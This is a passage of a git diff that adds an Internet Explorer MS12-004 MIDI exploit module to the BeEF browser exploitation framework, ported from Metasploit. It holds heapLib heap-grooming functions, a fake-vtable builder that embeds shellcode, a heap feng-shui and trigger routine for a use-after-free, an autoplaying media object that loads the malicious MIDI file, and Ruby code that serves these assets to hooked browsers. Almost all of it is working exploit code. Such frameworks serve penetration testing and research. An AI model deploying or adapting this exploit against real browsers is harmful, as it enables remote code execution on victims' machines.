+    if (typeof arg == "string" || arg instanceof String)
+        size = 4 + arg.length*2 + 2;    // len + string data + null terminator
+    else
+        size = arg;
+
+    // Make sure that the size is valid
+    if (size == 32 || size == 64 || size == 256 || size == 32768)
+        throw "Allocation sizes " + size + " cannot be flushed out of the OLEAUT32 cache";
+
+    // Allocate the block with the OLEAUT32 allocator
+    this.allocOleaut32(arg, tag);
+}
+
+
+//
+// Frees all memory blocks marked with a specific tag with the system memory
+// allocator. A call to this function is equivalent to a call to HeapFree().
+//
+// Arguments:
+//    tag - a tag identifying the group of blocks to be freed
+//
+
+heapLib.ie.prototype.free = function(tag) {
+
+    // Free the blocks with the OLEAUT32 free function
+    this.freeOleaut32(tag);
+
+    // Flush the OLEAUT32 cache
+    this.flushOleaut32();
+}
+
+
+//
+// Runs the garbage collector and flushes the OLEAUT32 cache. Call this
+// function before before using alloc() and free().
+//
+
+heapLib.ie.prototype.gc = function() {
+
+    this.debug("Running the garbage collector");
+    CollectGarbage();
+
+    this.flushOleaut32();
+}
+
+
+//
+// Adds blocks of the specified size to the free list and makes sure they are
+// not coalesced. The heap must be defragmented before calling this function.
+// If the size of the memory blocks is less than 1024, you have to make sure
+// that the lookaside is full.
+//
+// Arguments:
+//    arg    - size of the new block in bytes, or a string to strdup
+//    count  - how many free blocks to add to the list (defaults to 1)
+//
+
+heapLib.ie.prototype.freeList = function(arg, count) {
+
+    var count = (count ? count : 1);
+
+    for (var i = 0; i < count; i++) {
+        this.alloc(arg);
+        this.alloc(arg, "freeList");
+    }
+    this.alloc(arg);
+
+    this.free("freeList");
+}
+
+
+//
+// Add blocks of the specified size to the lookaside. The lookaside must be
+// empty before calling this function.
+//
+// Arguments:
+//    arg    - size of the new block in bytes, or a string to strdup
+//    count  - how many blocks to add to the lookaside (defaults to 1)
+//
+
+heapLib.ie.prototype.lookaside = function(arg, count) {
+
+    var size;
+
+    // Calculate the allocation size
+    if (typeof arg == "string" || arg instanceof String)
+        size = 4 + arg.length*2 + 2;    // len + string data + null terminator
+    else
+        size = arg;
+
+    // Make sure that the size is valid
+    if ((size & 0xf) != 0)
+        throw "Allocation size " + size + " must be a multiple of 16";
+
+    if (size+8 >= 1024)
+        throw("Maximum lookaside block size is 1008 bytes");
+
+    var count = (count ? count : 1);
+
+    for (var i = 0; i < count; i++)
+        this.alloc(arg, "lookaside");
+
+    this.free("lookaside");
+}
+
+
+//
+// Return the address of the head of the lookaside linked list for blocks of a
+// specified size. Uses the heapBase parameter from the heapLib.ie constructor.
+//
+// Arguments:
+//    arg - size of the new block in bytes, or a string to strdup
+//
+
+heapLib.ie.prototype.lookasideAddr = function(arg)
+{
+    var size;
+
+    // Calculate the allocation size
+    if (typeof arg == "string" || arg instanceof String)
+        size = 4 + arg.length*2 + 2;    // len + string data + null terminator
+    else
+        size = arg;
+
+    // Make sure that the size is valid
+    if ((size & 0xf) != 0)
+        throw "Allocation size " + size + " must be a multiple of 16";
+
+    if (size+8 >= 1024)
+        throw("Maximum lookaside block size is 1008 bytes");
+
+    // The lookahead array starts at heapBase + 0x688. It contains a 48 byte
+    // structure for each block size + header size in 8 byte increments.
+
+    return this.heapBase + 0x688 + ((size+8)/8)*48;
+}
+
+
+//
+// Returns a fake vtable that contains shellcode. The caller should free the
+// vtable to the lookaside and use the address of the lookaside head as an
+// object pointer. When the vtable is used, the address of the object must be
+// in eax and the pointer to the vtable must be in ecx. Any virtual function
+// call through the vtable from ecx+8 to ecx+0x80 will result in shellcode
+// execution. This function uses the heap.
+//
+// Arguments:
+//    shellcode - shellcode string
+//    jmpecx    - address of a jmp ecx or equivalent instruction
+//    size      - size of the vtable to generate (defaults to 1008 bytes)
+//
+
+heapLib.ie.prototype.vtable = function(shellcode, jmpecx, size) {
+
+    var size = (size ? size : 1008);
+
+    // Make sure the size is valid
+    if ((size & 0xf) != 0)
+        throw "Vtable size " + size + " must be a multiple of 16";
+
+    if (shellcode.length*2 > size-138)
+        throw("Maximum shellcode length is " + (size-138) + " bytes");
+
+    // Build the fake vtable that will go on the lookaside list
+    //
+    // lookaside ptr  jmp +124  addr of jmp ecx  sub [eax], al*2  shellcode       null
+    // 4 bytes        4 bytes   124 bytes        4 bytes          size-138 bytes  2 bytes
+
+    var vtable = unescape("%u9090%u7ceb")   // nop, nop, jmp + 124
+
+    for (var i = 0; i < 124/4; i++)
+        vtable += this.addr(jmpecx);
+
+    // If the vtable is the only entry on the lookaside, the first 4 bytes will
+    // be 00 00 00 00, which disassembles as two add [eax], al instructions.
+    // The jmp ecx trampoline will jump back to the beginning of the vtable and
+    // execute the add [eax], al instructions. We need to use two sub [eax], al
+    // instructions to fix the heap.
+
+    vtable += unescape("%u0028%u0028") +    // two sub [eax], al instructions
+              shellcode + heap.padding((size-138)/2 - shellcode.length);
+
+    return vtable;
+}
+
+      var heap = new heapLib.ie();
+      var selob = document.createElement("select")
+selob.w0 = unescape("%u0c0c%u0c0c")
+selob.w1 = alert
+selob.w2 = alert
+selob.w3 = alert
+selob.w4 = alert
+selob.w5 = alert
+selob.w6 = alert
+selob.w7 = alert
+selob.w8 = alert
+selob.w9 = alert
+selob.w10 = alert
+selob.w11 = alert
+selob.w12 = alert
+selob.w13 = alert
+selob.w14 = alert
+selob.w15 = alert
+selob.w16 = alert
+selob.w17 = alert
+selob.w18 = alert
+selob.w19 = alert
+selob.w20 = alert
+selob.w21 = alert
+selob.w22 = alert
+selob.w23 = alert
+selob.w24 = alert
+selob.w25 = alert
+selob.w26 = alert
+selob.w27 = alert
+selob.w28 = alert
+selob.w29 = alert
+selob.w30 = alert
+selob.w31 = alert
+selob.w32 = alert
+selob.w33 = alert
+selob.w34 = alert
+selob.w35 = alert
+selob.w36 = alert
+selob.w37 = alert
+selob.w38 = alert
+selob.w39 = alert
+selob.w40 = alert
+selob.w41 = alert
+selob.w42 = alert
+selob.w43 = alert
+selob.w44 = alert
+selob.w45 = alert
+selob.w46 = alert
+selob.w47 = alert
+selob.w48 = alert
+selob.w49 = alert
+selob.w50 = alert
+selob.w51 = alert
+selob.w52 = alert
+selob.w53 = alert
+selob.w54 = alert
+selob.w55 = alert
+
+      var clones = new Array(1000);
+
+      function feng_shui() {
+        heap.gc();
+
+        var i = 0;
+        while (i < 1000) {
+          clones[i] = selob.cloneNode(true)
+          i = i + 1;
+        }
+
+        var j = 0;
+        while (j < 1000) {
+          delete clones[j];
+          CollectGarbage();
+          j  = j + 2;
+        }
+      }
+
+      feng_shui();
+
+      
+    function trigger(){
+      var k = 999;
+      while (k > 0) {
+        if (typeof(clones[k].w0) == "string") {
+        } else {
+          clones[k].w0('come on!');
+        }
+        k = k - 2;
+      }
+      feng_shui();
+      document.audio.Play();
+    }
+    
+
+    </script>
+    <script for=audio event=PlayStateChange(oldState,newState)>
+      if (oldState == 3 && newState == 0) {
+        trigger();
+      }
+    </script>
+    </head>
+    <body>
+      <object ID="audio" WIDTH=1 HEIGHT=1 CLASSID="CLSID:22D6F312-B0F6-11D0-94AB-0080C74C7E95">
+        <param name="fileName" value="ie_ms12_004_midi.mid">
+        <param name="SendPlayStateChangeEvents" value="true">
+        <param NAME="AutoStart" value="True">
+        <param name="uiMode" value="mini">
+        <param name="Volume" value="-300">
+      </object>
+    </body>
+    </html>
+    
diff --git a/modules/exploits/local_host/ie_ms12_004_midi/ie_ms12_004_midi.mid b/modules/exploits/local_host/ie_ms12_004_midi/ie_ms12_004_midi.mid
new file mode 100644
index 000000000..cc90414b4
Binary files /dev/null and b/modules/exploits/local_host/ie_ms12_004_midi/ie_ms12_004_midi.mid differ
diff --git a/modules/exploits/local_host/ie_ms12_004_midi/module.rb b/modules/exploits/local_host/ie_ms12_004_midi/module.rb
new file mode 100644
index 000000000..d3293862c
--- /dev/null
+++ b/modules/exploits/local_host/ie_ms12_004_midi/module.rb
@@ -0,0 +1,24 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+###
+# This module is a quick, dirty and butchered port of 'modules/exploits/windows/browser/ms12_004_midi.rb'
+# from the Metasploit Framework project. Written originally by Shane Garrett, juan vazquez, and sinn3r
+# See: http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/browser/ms12_004_midi.rb
+###
+class Ie_ms12_004_midi < BeEF::Core::Command
+
+  def pre_send
+    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/exploits/local_host/ie_ms12_004_midi/ie_ms12_004_midi.html', '/ie_ms12_004_midi', 'html')
+    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/exploits/local_host/ie_ms12_004_midi/ie_ms12_004_midi.mid', '/ie_ms12_004_midi', 'mid')
+  end
+
+  def post_execute
+    save({'result' => @datastore['result']})
+#    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/ie_ms12_004_midi.html')
+#    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/ie_ms12_004_midi.mid')
+  end
+
+end
